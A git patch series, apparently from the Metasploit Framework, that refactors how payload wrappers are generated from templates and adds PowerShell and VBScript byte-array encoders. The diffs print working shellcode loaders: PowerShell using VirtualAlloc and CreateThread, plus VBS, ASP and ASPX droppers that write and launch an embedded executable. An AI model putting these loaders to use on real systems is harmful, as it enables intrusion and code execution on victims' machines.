{'Content-Type'=>'text/html'}) + + end + +end From 23a067aab7975bd98caeca5646d6b7e39db90581 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 23 Aug 2013 13:35:11 +0100 Subject: [PATCH 308/454] Refactor reading of script files and substitution --- lib/msf/util/exe.rb | 100 ++++++++++++++------------------------------ 1 file changed, 31 insertions(+), 69 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 6da68eaca55a6..a7a9fb06d3e0a 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -55,6 +55,15 @@ def self.set_template_default(opts, exe = nil, path = nil) end end + def self.read_replace_script_template(filename, hash_sub) + template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", filename) + + template_pathname.open("rb") do |f| + template = f.read + end + + return template % hash_sub + end ## # @@ -838,13 +847,6 @@ def self.to_exe_vba(exes='') # Function 2 executes the binary hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s - # The wrapper makes it easier to integrate it into other macros - template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_exe_vba.vb.template") - - template_pathname.open("rb") do |f| - template = f.read - end - hash_sub[:data] = "" # Writing the bytes of the exe to the file @@ -859,10 +861,10 @@ def self.to_exe_vba(exes='') end end - return template % hash_sub + return self.read_replace_script_template("to_exe_vba.vb.template", hash_sub) end - def self.to_vba(framework,code,opts={}) +def self.to_vba(framework,code,opts={}) hash_sub = {} hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize @@ -892,14 +894,8 @@ def self.to_vba(framework,code,opts={}) hash_sub[:bytes] << "," if idx < codebytes.length - 1 hash_sub[:bytes] << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0) end - - template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_vba.vb.template") - - template_pathname.open("rb") do |f| - template = f.read - end - return template % hash_sub + return self.read_replace_script_template("to_vba.vb.template", hash_sub) end def self.to_win32pe_vba(framework, code, opts={}) @@ -938,28 +934,22 @@ def self.to_exe_vbs(exes = '', opts={}) hash_sub[:var_shellcode] = lines.join("") hash_sub[:init] = "" - + if(persist) hash_sub[:init] << "Do\r\n" hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" - hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n" + hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n" hash_sub[:init] << "Loop\r\n" else hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" end - - template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_exe_vbs.vb.template") - - template_pathname.open("rb") do |f| - template = f.read - end - return template % hash_sub + return self.read_replace_script_template("to_exe_vbs.vb.template", hash_sub) end def self.to_exe_asp(exes = '', opts={}) exe = exes.unpack('C*') - + hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -969,9 +959,9 @@ def self.to_exe_asp(exes = '', opts={}) hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - + lines = [] - + 1.upto(exe.length-1) do |byte| if(byte % 100 == 0) lines.push "\r\n%{var_bytes}=%{var_bytes}" @@ -981,16 +971,10 @@ def self.to_exe_asp(exes = '', opts={}) # treatments of String#[] between ruby 1.8 and 1.9 lines.push "&Chr(%{exe[byte]})" end - + hash_sub[:var_shellcode] = lines.join("") - - template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_exe_asp.asp.template") - - template_pathname.open("rb") do |f| - template = f.read - end - - return template % hash_sub + + return self.read_replace_script_template("to_exe_asp.asp.template", hash_sub) end def self.to_exe_aspx(exes = '', opts={}) @@ -1014,13 +998,7 @@ def self.to_exe_aspx(exes = '', opts={}) hash_sub[:shellcode] << "\\x#{exe[byte].to_s(16)}" end - template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_exe_aspx.aspx.template") - - template_pathname.open("rb") do |f| - template = f.read - end - - return template % hash_sub + return self.read_replace_script_template("to_exe_aspx.aspx.template", hash_sub) end def self.to_win32pe_psh_net(framework, code, opts={}) @@ -1035,7 +1013,7 @@ def self.to_win32pe_psh_net(framework, code, opts={}) hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) code = code.unpack('C*') - + lines = [] 1.upto(code.length-1) do |byte| if(byte % 10 == 0) @@ -1046,13 +1024,7 @@ def self.to_win32pe_psh_net(framework, code, opts={}) end hash_sub[:shellcode] = lines.join("") + "\r\n\r\n" - template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_win32pe_psh_net.ps1.template") - - template_pathname.open("rb") do |f| - template = f.read - end - - return template % hash_sub + return self.read_replace_script_template("to_win32pe_psh_net.ps1.template", hash_sub) end def self.to_win32pe_psh(framework, code, opts={}) @@ -1063,11 +1035,11 @@ def self.to_win32pe_psh(framework, code, opts={}) hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8) - + code = code.unpack("C*") # Add wrapper script - + lines = [] 1.upto(code.length-1) do |byte| if(byte % 10 == 0) @@ -1078,14 +1050,8 @@ def self.to_win32pe_psh(framework, code, opts={}) end hash_sub[:shellcode] = lines.join("") + "\r\n\r\n" - - template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_win32pe_psh_net.ps1.template") - - template_pathname.open("rb") do |f| - template = f.read - end - return template % hash_sub + return self.read_replace_script_template("to_win32pe_psh_net.ps1.template", hash_sub) end def self.to_win32pe_vbs(framework, code, opts={}) @@ -1226,14 +1192,10 @@ def self.to_jsp_war(exe, opts={}) ] }) - - template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", "to_jsp_war.war.template") - - template_pathname.open("rb") do |f| - template = f.read - end - - return self.to_war(template % hash_sub, opts) + + template = self.read_replace_script_template("to_jsp_war.war.template", hash_sub) + + return self.to_war(template, opts) end # Creates a .NET DLL which loads data into memory From cfd6c66ffdcb767e92fc2d03c377cdfafadcc785 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 23 Aug 2013 14:34:40 +0100 Subject: [PATCH 309/454] Fix VBS --- data/templates/scripts/to_exe_vbs.vb.template | 2 +- lib/msf/util/exe.rb | 29 ++++++++++--------- 2 files changed, 16 insertions(+), 15 deletions(-) diff --git a/data/templates/scripts/to_exe_vbs.vb.template b/data/templates/scripts/to_exe_vbs.vb.template index aa22756688e33..4fdc933ba9b58 100644 --- a/data/templates/scripts/to_exe_vbs.vb.template +++ b/data/templates/scripts/to_exe_vbs.vb.template @@ -1,5 +1,5 @@ Function %{var_func}() - %{var_bytes}=Chr(%{exe[0]})%{var_shellcode} + %{var_bytes}=%{var_shellcode} Dim %{var_obj} Set %{var_obj} = CreateObject("Scripting.FileSystemObject") diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index a7a9fb06d3e0a..06dfa53198691 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -56,9 +56,10 @@ def self.set_template_default(opts, exe = nil, path = nil) end def self.read_replace_script_template(filename, hash_sub) - template_pathname = Metasploit::Framework.root.join("data", "templates", "scripts", filename) + template_pathname = File.join(Msf::Config.install_root, "data", "templates", "scripts", filename) - template_pathname.open("rb") do |f| + template = '' + File.open(template_pathname, "rb") do |f| template = f.read end @@ -861,7 +862,7 @@ def self.to_exe_vba(exes='') end end - return self.read_replace_script_template("to_exe_vba.vb.template", hash_sub) + return read_replace_script_template("to_exe_vba.vb.template", hash_sub) end def self.to_vba(framework,code,opts={}) @@ -895,7 +896,7 @@ def self.to_vba(framework,code,opts={}) hash_sub[:bytes] << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0) end - return self.read_replace_script_template("to_vba.vb.template", hash_sub) + return read_replace_script_template("to_vba.vb.template", hash_sub) end def self.to_win32pe_vba(framework, code, opts={}) @@ -920,18 +921,18 @@ def self.to_exe_vbs(exes = '', opts={}) hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - lines = [] + lines = "Chr(#{exe[0]})" 1.upto(exe.length-1) do |byte| if(byte % 100 == 0) - lines.push "\r\n#{hash_sub[:var_bytes]}=#{hash_sub[:var_bytes]}" + lines << "\r\n\t#{hash_sub[:var_bytes]}=#{hash_sub[:var_bytes]}" end # exe is an Array of bytes, not a String, thanks to the unpack # above, so the following line is not subject to the different # treatments of String#[] between ruby 1.8 and 1.9 - lines.push "&Chr(#{exe[byte]})" + lines << "&Chr(#{exe[byte]})" end - hash_sub[:var_shellcode] = lines.join("") + hash_sub[:var_shellcode] = lines hash_sub[:init] = "" @@ -944,7 +945,7 @@ def self.to_exe_vbs(exes = '', opts={}) hash_sub[:init] << "#{hash_sub[:var_func]}\r\n" end - return self.read_replace_script_template("to_exe_vbs.vb.template", hash_sub) + return read_replace_script_template("to_exe_vbs.vb.template", hash_sub) end def self.to_exe_asp(exes = '', opts={}) @@ -974,7 +975,7 @@ def self.to_exe_asp(exes = '', opts={}) hash_sub[:var_shellcode] = lines.join("") - return self.read_replace_script_template("to_exe_asp.asp.template", hash_sub) + return read_replace_script_template("to_exe_asp.asp.template", hash_sub) end def self.to_exe_aspx(exes = '', opts={}) @@ -998,7 +999,7 @@ def self.to_exe_aspx(exes = '', opts={}) hash_sub[:shellcode] << "\\x#{exe[byte].to_s(16)}" end - return self.read_replace_script_template("to_exe_aspx.aspx.template", hash_sub) + return read_replace_script_template("to_exe_aspx.aspx.template", hash_sub) end def self.to_win32pe_psh_net(framework, code, opts={}) @@ -1024,7 +1025,7 @@ def self.to_win32pe_psh_net(framework, code, opts={}) end hash_sub[:shellcode] = lines.join("") + "\r\n\r\n" - return self.read_replace_script_template("to_win32pe_psh_net.ps1.template", hash_sub) + return read_replace_script_template("to_win32pe_psh_net.ps1.template", hash_sub) end def self.to_win32pe_psh(framework, code, opts={}) @@ -1051,7 +1052,7 @@ def self.to_win32pe_psh(framework, code, opts={}) hash_sub[:shellcode] = lines.join("") + "\r\n\r\n" - return self.read_replace_script_template("to_win32pe_psh_net.ps1.template", hash_sub) + return read_replace_script_template("to_win32pe_psh_net.ps1.template", hash_sub) end def self.to_win32pe_vbs(framework, code, opts={}) @@ -1193,7 +1194,7 @@ def self.to_jsp_war(exe, opts={}) }) - template = self.read_replace_script_template("to_jsp_war.war.template", hash_sub) + template = read_replace_script_template("to_jsp_war.war.template", hash_sub) return self.to_war(template, opts) end From a45f49e3b75afd3e31b556b8c7720b25ebd2ca36 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 23 Aug 2013 08:49:58 -0500 Subject: [PATCH 310/454] Use a new Ranking --- modules/exploits/windows/http/intrasrv_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index e22018dd3a9c7..8fe92902a8029 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = ManualRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Egghunter From 12b5dbedae902640c6c0be81ab15d71df551c8b8 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 23 Aug 2013 14:58:14 +0100 Subject: [PATCH 311/454] Initialize the hash_sub --- lib/msf/util/exe.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 06dfa53198691..54f901537f0d4 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -951,6 +951,7 @@ def self.to_exe_vbs(exes = '', opts={}) def self.to_exe_asp(exes = '', opts={}) exe = exes.unpack('C*') + hash_sub = {} hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -981,6 +982,7 @@ def self.to_exe_asp(exes = '', opts={}) def self.to_exe_aspx(exes = '', opts={}) exe = exes.unpack('C*') + hash_sub = {} hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -1003,6 +1005,7 @@ def self.to_exe_aspx(exes = '', opts={}) end def self.to_win32pe_psh_net(framework, code, opts={}) + hash_sub = {} hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -1029,7 +1032,7 @@ def self.to_win32pe_psh_net(framework, code, opts={}) end def self.to_win32pe_psh(framework, code, opts={}) - + hash_sub = {} hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8) From 418505adc9381e5647fd8389303e6b95361ec3b8 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 23 Aug 2013 15:21:26 +0100 Subject: [PATCH 312/454] Fix psh-net --- data/templates/scripts/to_win32pe_psh_net.ps1.template | 2 +- lib/msf/util/exe.rb | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/templates/scripts/to_win32pe_psh_net.ps1.template b/data/templates/scripts/to_win32pe_psh_net.ps1.template index 027d586bb8950..8cd477578790c 100644 --- a/data/templates/scripts/to_win32pe_psh_net.ps1.template +++ b/data/templates/scripts/to_win32pe_psh_net.ps1.template @@ -20,7 +20,7 @@ $%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].A $%{var_compileParams}.GenerateInMemory = $True $%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode}) -[Byte[]]$%{var_code} = 0x%{code[0].to_s(16)}%{shellcode} +[Byte[]]$%{var_code} = %{shellcode} $%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite) if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return } diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 54f901537f0d4..617f5611815a6 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1018,15 +1018,15 @@ def self.to_win32pe_psh_net(framework, code, opts={}) code = code.unpack('C*') - lines = [] + lines = "0x#{code[0].to_s(16)}" 1.upto(code.length-1) do |byte| if(byte % 10 == 0) - lines.push "\r\n$#{hash_sub[:var_code]} += 0x#{code[byte].to_s(16)}" + lines << "\r\n$#{hash_sub[:var_code]} += 0x#{code[byte].to_s(16)}" else - lines.push ",0x#{code[byte].to_s(16)}" + lines << ",0x#{code[byte].to_s(16)}" end end - hash_sub[:shellcode] = lines.join("") + "\r\n\r\n" + hash_sub[:shellcode] = lines return read_replace_script_template("to_win32pe_psh_net.ps1.template", hash_sub) end From 50403475217bd851d4fcf708a46ed6b61025f3b6 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 23 Aug 2013 15:59:19 +0100 Subject: [PATCH 313/454] Fix psh and add powershell transform --- .../scripts/to_win32pe_psh.ps1.template | 19 ++++++++---- .../scripts/to_win32pe_psh_net.ps1.template | 2 +- lib/msf/base/simple/buffer.rb | 6 ++-- lib/msf/util/exe.rb | 30 +++---------------- lib/rex/text.rb | 17 +++++++++++ 5 files changed, 39 insertions(+), 35 deletions(-) diff --git a/data/templates/scripts/to_win32pe_psh.ps1.template b/data/templates/scripts/to_win32pe_psh.ps1.template index e23d3719c453a..d45a8158aa082 100644 --- a/data/templates/scripts/to_win32pe_psh.ps1.template +++ b/data/templates/scripts/to_win32pe_psh.ps1.template @@ -1,4 +1,4 @@ -$%{var_code} = @" +$%{var_syscode} = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] @@ -7,13 +7,20 @@ public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStack public static extern IntPtr memset(IntPtr dest, uint src, uint count); "@ -$%{var_win32_func} = Add-Type -memberDefinition $%{var_code} -Name "Win32" -namespace Win32Functions -passthru -[Byte[]]$%{var_payload} = 0x%{code[0].to_s(16)}%{shellcode} +$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru + +%{shellcode} $%{var_size} = 0x1000 -if ($%{var_payload}.Length -gt 0x1000) {$%{var_size} = $%{var_payload}.Length} -$%{var_rwx}=$%{var_win32_func}::VirtualAlloc(0,0x1000,$%{var_size},0x40) -for ($%{var_iter}=0;$%{var_iter} -le ($%{var_payload}.Length-1);$%{var_iter}++) {$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_payload}[$%{var_iter}], 1)} +if ($%{var_code}.Length -gt 0x1000) { + $%{var_size} = $%{var_code}.Length +} +$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,$%{var_size},0x40) + +for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) { + $%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) +} + $%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0) diff --git a/data/templates/scripts/to_win32pe_psh_net.ps1.template b/data/templates/scripts/to_win32pe_psh_net.ps1.template index 8cd477578790c..6185274299099 100644 --- a/data/templates/scripts/to_win32pe_psh_net.ps1.template +++ b/data/templates/scripts/to_win32pe_psh_net.ps1.template @@ -20,7 +20,7 @@ $%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].A $%{var_compileParams}.GenerateInMemory = $True $%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode}) -[Byte[]]$%{var_code} = %{shellcode} +%{shellcode} $%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite) if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return } diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index 24488e0bbcc59..bd97fe443aa3f 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -16,7 +16,7 @@ module Buffer # # Serializes a buffer to a provided format. The formats supported are raw, - # ruby, perl, bash, c, js_be, js_le and java + # ruby, perl, bash, c, js_be, js_le, java and psh # def self.transform(buf, fmt = "ruby") case fmt @@ -39,6 +39,8 @@ def self.transform(buf, fmt = "ruby") buf = Rex::Text.to_unescape(buf, ENDIAN_LITTLE) when 'java' buf = Rex::Text.to_java(buf) + when 'powershell', 'ps1' + buf = Rex::Text.to_powershell(buf) else raise ArgumentError, "Unsupported buffer format: #{fmt}", caller end @@ -78,7 +80,7 @@ def self.comment(buf, fmt = "ruby") # Returns the list of supported formats # def self.transform_formats - ['raw','ruby','rb','perl','pl','bash','sh','c','csharp','js_be','js_le','java','python','py'] + ['raw','ruby','rb','perl','pl','bash','sh','c','csharp','js_be','js_le','java','python','py', 'powershell', 'ps1'] end end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 617f5611815a6..48b2dea77737a 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1016,17 +1016,7 @@ def self.to_win32pe_psh_net(framework, code, opts={}) hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) - code = code.unpack('C*') - - lines = "0x#{code[0].to_s(16)}" - 1.upto(code.length-1) do |byte| - if(byte % 10 == 0) - lines << "\r\n$#{hash_sub[:var_code]} += 0x#{code[byte].to_s(16)}" - else - lines << ",0x#{code[byte].to_s(16)}" - end - end - hash_sub[:shellcode] = lines + hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code]) return read_replace_script_template("to_win32pe_psh_net.ps1.template", hash_sub) end @@ -1039,23 +1029,11 @@ def self.to_win32pe_psh(framework, code, opts={}) hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) - code = code.unpack("C*") - - # Add wrapper script - - lines = [] - 1.upto(code.length-1) do |byte| - if(byte % 10 == 0) - lines.push "\r\n$#{hash_sub[:var_payload]} += 0x#{code[byte].to_s(16)}" - else - lines.push ",0x#{code[byte].to_s(16)}" - end - end - - hash_sub[:shellcode] = lines.join("") + "\r\n\r\n" + hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code]) - return read_replace_script_template("to_win32pe_psh_net.ps1.template", hash_sub) + return read_replace_script_template("to_win32pe_psh.ps1.template", hash_sub) end def self.to_win32pe_vbs(framework, code, opts={}) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index d13232d110513..dfb713548dabe 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -198,6 +198,23 @@ def self.to_java(str, name = "shell") return buff end + # + # Converts a raw string to a powershell byte array + # + def self.to_powershell(str, name = "buf") + code = str.unpack('C*') + buff = "[Byte[]]$#{name} = 0x#{code[0].to_s(16)}" + 1.upto(code.length-1) do |byte| + if(byte % 10 == 0) + buff << "\r\n$#{name} += 0x#{code[byte].to_s(16)}" + else + buff << ",0x#{code[byte].to_s(16)}" + end + end + + return buff + end + # # Creates a perl-style comment # From 7370fc3f4e34eecee4ce2ad1e97cf67832558e84 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 23 Aug 2013 16:26:03 +0100 Subject: [PATCH 314/454] vbs transform --- data/templates/scripts/to_exe_vbs.vb.template | 2 +- lib/msf/base/simple/buffer.rb | 15 ++++++++++++++- lib/msf/util/exe.rb | 15 +-------------- lib/rex/text.rb | 19 +++++++++++++++++++ 4 files changed, 35 insertions(+), 16 deletions(-) diff --git a/data/templates/scripts/to_exe_vbs.vb.template b/data/templates/scripts/to_exe_vbs.vb.template index 4fdc933ba9b58..102d2787bb6df 100644 --- a/data/templates/scripts/to_exe_vbs.vb.template +++ b/data/templates/scripts/to_exe_vbs.vb.template @@ -1,5 +1,5 @@ Function %{var_func}() - %{var_bytes}=%{var_shellcode} +%{var_shellcode} Dim %{var_obj} Set %{var_obj} = CreateObject("Scripting.FileSystemObject") diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index bd97fe443aa3f..8f72c34dde225 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -41,6 +41,8 @@ def self.transform(buf, fmt = "ruby") buf = Rex::Text.to_java(buf) when 'powershell', 'ps1' buf = Rex::Text.to_powershell(buf) + when 'vbscript' + buf = Rex::Text.to_vbscript(buf) else raise ArgumentError, "Unsupported buffer format: #{fmt}", caller end @@ -80,7 +82,18 @@ def self.comment(buf, fmt = "ruby") # Returns the list of supported formats # def self.transform_formats - ['raw','ruby','rb','perl','pl','bash','sh','c','csharp','js_be','js_le','java','python','py', 'powershell', 'ps1'] + ['raw', + 'ruby','rb', + 'perl','pl', + 'bash','sh', + 'c', + 'csharp', + 'js_be', + 'js_le', + 'java', + 'python','py', + 'powershell','ps1', + 'vbscript'] end end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 48b2dea77737a..9bf385f93f174 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -907,8 +907,6 @@ def self.to_exe_vbs(exes = '', opts={}) delay = opts[:delay] || 5 persist = opts[:persist] || false - exe = exes.unpack('C*') - hash_sub = {} hash_sub[:var_shellcode] = "" hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small @@ -921,18 +919,7 @@ def self.to_exe_vbs(exes = '', opts={}) hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - lines = "Chr(#{exe[0]})" - 1.upto(exe.length-1) do |byte| - if(byte % 100 == 0) - lines << "\r\n\t#{hash_sub[:var_bytes]}=#{hash_sub[:var_bytes]}" - end - # exe is an Array of bytes, not a String, thanks to the unpack - # above, so the following line is not subject to the different - # treatments of String#[] between ruby 1.8 and 1.9 - lines << "&Chr(#{exe[byte]})" - end - - hash_sub[:var_shellcode] = lines + hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) hash_sub[:init] = "" diff --git a/lib/rex/text.rb b/lib/rex/text.rb index dfb713548dabe..f3e2090614b58 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -215,6 +215,25 @@ def self.to_powershell(str, name = "buf") return buff end + # + # Converts a raw string to a vbscript byte array + # + def self.to_vbscript(str, name = "buf") + code = str.unpack('C*') + buff = "#{name}=Chr(#{code[0]})" + 1.upto(code.length-1) do |byte| + if(byte % 100 == 0) + buff << "\r\n#{name}=#{name}" + end + # exe is an Array of bytes, not a String, thanks to the unpack + # above, so the following line is not subject to the different + # treatments of String#[] between ruby 1.8 and 1.9 + buff << "&Chr(#{code[byte]})" + end + + return buff + end + # # Creates a perl-style comment # From dd13a7e48f9c000117a9b5bae50ff7c1eabc0d1e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 23 Aug 2013 16:55:07 +0100 Subject: [PATCH 315/454] Working .asp --- data/templates/scripts/to_exe_asp.asp.template | 7 ++++--- lib/msf/util/exe.rb | 16 +--------------- 2 files changed, 5 insertions(+), 18 deletions(-) diff --git a/data/templates/scripts/to_exe_asp.asp.template b/data/templates/scripts/to_exe_asp.asp.template index a4410a212af07..7fd20621f637d 100644 --- a/data/templates/scripts/to_exe_asp.asp.template +++ b/data/templates/scripts/to_exe_asp.asp.template @@ -1,6 +1,7 @@ -<% +<%% @language="VBScript" %%> +<%% Sub %{var_func}() - %{var_bytes}=Chr(%{exe[0]})%{var_shellcode} + %{var_shellcode} Dim %{var_obj} Set %{var_obj} = CreateObject("Scripting.FileSystemObject") Dim %{var_stream} @@ -20,4 +21,4 @@ End Sub %{var_func} -%> +%%> diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 9bf385f93f174..99d790145e2ca 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -936,8 +936,6 @@ def self.to_exe_vbs(exes = '', opts={}) end def self.to_exe_asp(exes = '', opts={}) - exe = exes.unpack('C*') - hash_sub = {} hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -949,19 +947,7 @@ def self.to_exe_asp(exes = '', opts={}) hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - lines = [] - - 1.upto(exe.length-1) do |byte| - if(byte % 100 == 0) - lines.push "\r\n%{var_bytes}=%{var_bytes}" - end - # exe is an Array of bytes, not a String, thanks to the unpack - # above, so the following line is not subject to the different - # treatments of String#[] between ruby 1.8 and 1.9 - lines.push "&Chr(%{exe[byte]})" - end - - hash_sub[:var_shellcode] = lines.join("") + hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) return read_replace_script_template("to_exe_asp.asp.template", hash_sub) end From 1cb1afa50a24b897bb1fbfa2b650f8f31400237d Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 23 Aug 2013 17:09:51 +0100 Subject: [PATCH 316/454] Fix aspx --- data/templates/scripts/to_exe_aspx.aspx.template | 6 +++--- lib/msf/util/exe.rb | 7 ++++--- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/data/templates/scripts/to_exe_aspx.aspx.template b/data/templates/scripts/to_exe_aspx.aspx.template index 966741fc6f000..de23f35e4c84f 100644 --- a/data/templates/scripts/to_exe_aspx.aspx.template +++ b/data/templates/scripts/to_exe_aspx.aspx.template @@ -1,10 +1,10 @@ -<%@ Page Language="C#" AutoEventWireup="true" %> -<%@ Import Namespace="System.IO" %> +<%%@ Page Language="C#" AutoEventWireup="true" %%> +<%%@ Import Namespace="System.IO" %%> + # + # + # | + # end + + # # @return [String] 